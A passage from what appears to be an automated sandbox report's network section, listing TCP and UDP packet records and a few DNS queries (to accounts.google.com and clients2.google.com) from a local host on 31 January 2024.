                                  Jan 31, 2024 14:44:30.426237106 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.426254988 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.426275015 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.426289082 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.426309109 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.426315069 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.426338911 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.426342964 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.426377058 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.426382065 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.426398039 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.435369015 CET4434973613.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.435461998 CET4434973613.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.435506105 CET49736443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.435519934 CET4434973613.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.435576916 CET4434973613.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.435831070 CET49736443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.436599016 CET49736443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.436618090 CET4434973613.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.446506977 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.446537018 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.446574926 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.446599007 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.446602106 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.446635008 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.446638107 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.446655989 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.492388010 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.521600008 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.521614075 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.521637917 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.521670103 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.521673918 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.521717072 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.521729946 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.521771908 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.538562059 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.538589001 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.538666964 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.538678885 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.538708925 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.538723946 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.551518917 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.551554918 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.551625013 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.551635027 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.551654100 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.551683903 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.555107117 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.555193901 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.555202007 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.555283070 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.555347919 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.555460930 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.555475950 CET44349735151.101.66.137192.168.2.4
                                  Jan 31, 2024 14:44:30.555490971 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.555526972 CET49735443192.168.2.4151.101.66.137
                                  Jan 31, 2024 14:44:30.560894012 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.560961962 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.561036110 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.561431885 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.561459064 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.588660955 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.588704109 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.588767052 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.588987112 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.588999033 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.757436991 CET49675443192.168.2.4173.222.162.32
                                  Jan 31, 2024 14:44:30.876847029 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.877144098 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.877206087 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.878699064 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.878788948 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.879106998 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.879199028 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.879271030 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.879286051 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.912436962 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.912729979 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.912791014 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.913328886 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.913645029 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.913737059 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.913759947 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.925002098 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.953906059 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:30.955259085 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:30.984566927 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.984797001 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.984857082 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:30.984857082 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.984911919 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.985387087 CET49738443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:30.985418081 CET4434973813.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.121869087 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.121953964 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.121978045 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.122020006 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.122042894 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:31.122081995 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.122107983 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.122144938 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.122145891 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:31.122145891 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:31.122195005 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:31.122208118 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.122256994 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:31.122313976 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.122364998 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:31.129559040 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:31.129610062 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:31.129801989 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:31.130012989 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:31.130038977 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:31.134398937 CET49739443192.168.2.413.107.246.40
                                  Jan 31, 2024 14:44:31.134419918 CET4434973913.107.246.40192.168.2.4
                                  Jan 31, 2024 14:44:31.178488016 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.178544998 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.178632021 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.179305077 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.179335117 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.351878881 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:31.352205038 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:31.352251053 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:31.353946924 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:31.354032993 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:31.355489969 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:31.355580091 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:31.410412073 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:31.410437107 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:31.457169056 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:31.503278971 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.503633976 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.503710032 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.504858971 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.505250931 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.505363941 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.505439043 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.551031113 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.715362072 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715431929 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715454102 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715498924 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715543985 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.715554953 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715590000 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715626001 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.715626001 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.715632915 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715660095 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.715675116 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715727091 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.715766907 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:31.715825081 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.716679096 CET49742443192.168.2.413.107.246.51
                                  Jan 31, 2024 14:44:31.716711998 CET4434974213.107.246.51192.168.2.4
                                  Jan 31, 2024 14:44:33.001919031 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.001960993 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.002038002 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.004086018 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.004102945 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.251349926 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.251420975 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.254973888 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.254982948 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.255479097 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.300419092 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.356483936 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.397902966 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.476196051 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.476341963 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.476443052 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.476591110 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.476591110 CET49745443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.476634026 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.476660013 CET4434974523.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.526170969 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.526202917 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.526307106 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.526966095 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.526983023 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.767936945 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.768063068 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.769506931 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.769526005 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.769859076 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.771718979 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.813977957 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.994828939 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.995017052 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.995079994 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.996438026 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.996450901 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:33.996460915 CET49746443192.168.2.423.209.58.93
                                  Jan 31, 2024 14:44:33.996465921 CET4434974623.209.58.93192.168.2.4
                                  Jan 31, 2024 14:44:41.342457056 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:41.342619896 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:41.342819929 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:42.167646885 CET49741443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:44:42.167712927 CET4434974174.125.138.147192.168.2.4
                                  Jan 31, 2024 14:44:43.961266994 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:43.961308002 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:43.961390018 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:43.968146086 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:43.968158960 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:44.575433969 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:44.575567007 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:44.582313061 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:44.582326889 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:44.582747936 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:44.637959003 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:45.132479906 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:45.177906036 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524557114 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524585962 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524595022 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524625063 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524643898 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524661064 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524671078 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:45.524686098 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524698973 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.524713993 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:45.524713993 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:45.524755001 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:45.524760962 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:44:45.525378942 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:45.830872059 CET49751443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:44:45.830908060 CET4434975140.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:23.917859077 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:23.917927027 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:23.918045998 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:23.918638945 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:23.918661118 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:24.534322023 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:24.534406900 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:24.545075893 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:24.545111895 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:24.545631886 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:24.577419043 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:24.621910095 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143096924 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143122911 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143193960 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.143198967 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143246889 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143284082 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143310070 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143311977 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.143311977 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.143345118 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.143356085 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143373013 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.143404961 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.143412113 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143426895 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.143455029 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.143482924 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.154814959 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.154858112 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:25.154884100 CET49760443192.168.2.440.68.123.157
                                  Jan 31, 2024 14:45:25.154897928 CET4434976040.68.123.157192.168.2.4
                                  Jan 31, 2024 14:45:30.990308046 CET49762443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:45:30.990349054 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:30.990421057 CET49762443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:45:30.991076946 CET49762443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:45:30.991090059 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:31.204046965 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:31.204387903 CET49762443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:45:31.204415083 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:31.205100060 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:31.205457926 CET49762443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:45:31.205568075 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:31.253658056 CET49762443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:45:40.050510883 CET4972380192.168.2.472.21.81.240
                                  Jan 31, 2024 14:45:40.050662041 CET4972480192.168.2.472.21.81.240
                                  Jan 31, 2024 14:45:40.151922941 CET804972372.21.81.240192.168.2.4
                                  Jan 31, 2024 14:45:40.151998043 CET4972380192.168.2.472.21.81.240
                                  Jan 31, 2024 14:45:40.152004957 CET804972472.21.81.240192.168.2.4
                                  Jan 31, 2024 14:45:40.152057886 CET4972480192.168.2.472.21.81.240
                                  Jan 31, 2024 14:45:41.217678070 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:41.217864037 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:41.217920065 CET49762443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:45:42.522551060 CET49762443192.168.2.474.125.138.147
                                  Jan 31, 2024 14:45:42.522578955 CET4434976274.125.138.147192.168.2.4
                                  Jan 31, 2024 14:45:56.079976082 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.079997063 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.080137014 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.081219912 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.081232071 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.294970989 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.363349915 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.371484041 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.371515036 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.372247934 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.372288942 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.372399092 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.374830961 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.374883890 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.374890089 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.376612902 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.376702070 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.376791954 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.376796961 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.416193008 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.512048960 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.514055014 CET44349763142.250.105.102192.168.2.4
                                  Jan 31, 2024 14:45:56.514111996 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.514353991 CET49763443192.168.2.4142.250.105.102
                                  Jan 31, 2024 14:45:56.514369011 CET44349763142.250.105.102192.168.2.4

                                  UDP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Jan 31, 2024 14:44:28.209453106 CET5584953192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:28.209579945 CET5174153192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:28.210047960 CET5071153192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:28.210371971 CET5840653192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:28.239013910 CET53581071.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:28.326792002 CET53558491.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:28.326818943 CET53517411.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:28.327477932 CET53584061.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:28.327512026 CET53507111.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:28.357539892 CET5350153192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:28.357691050 CET5197453192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:28.591703892 CET53519741.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:28.597826004 CET53535011.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:28.945700884 CET53589711.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:29.858261108 CET6405953192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:29.858458996 CET5077153192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:29.975780964 CET53507711.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:29.977216959 CET53640591.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:30.926064014 CET5879153192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:30.926346064 CET5242953192.168.2.41.1.1.1
                                  Jan 31, 2024 14:44:31.043755054 CET53587911.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:31.043798923 CET53524291.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:41.231317997 CET53496501.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:46.747951984 CET53583411.1.1.1192.168.2.4
                                  Jan 31, 2024 14:44:51.635267973 CET138138192.168.2.4192.168.2.255
                                  Jan 31, 2024 14:45:05.704065084 CET53492031.1.1.1192.168.2.4
                                  Jan 31, 2024 14:45:28.181168079 CET53589791.1.1.1192.168.2.4
                                  Jan 31, 2024 14:45:28.563656092 CET53581571.1.1.1192.168.2.4
                                  Jan 31, 2024 14:45:55.960304976 CET6363553192.168.2.41.1.1.1
                                  Jan 31, 2024 14:45:55.960838079 CET6375953192.168.2.41.1.1.1
                                  Jan 31, 2024 14:45:56.077856064 CET53636351.1.1.1192.168.2.4
                                  Jan 31, 2024 14:45:56.079226971 CET53637591.1.1.1192.168.2.4
                                  Jan 31, 2024 14:45:56.542979956 CET53533301.1.1.1192.168.2.4
                                  Jan 31, 2024 14:46:41.702276945 CET53538161.1.1.1192.168.2.4

                                  DNS Queries

                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                  Jan 31, 2024 14:44:28.209453106 CET192.168.2.41.1.1.10x66cbStandard query (0)accounts.google.comA (IP address)IN (0x0001)false
                                  Jan 31, 2024 14:44:28.209579945 CET192.168.2.41.1.1.10x272dStandard query (0)accounts.google.com65IN (0x0001)false
                                  Jan 31, 2024 14:44:28.210047960 CET192.168.2.41.1.1.10x48f0Standard query (0)clients2.google.comA (IP address)IN (0x0001)false
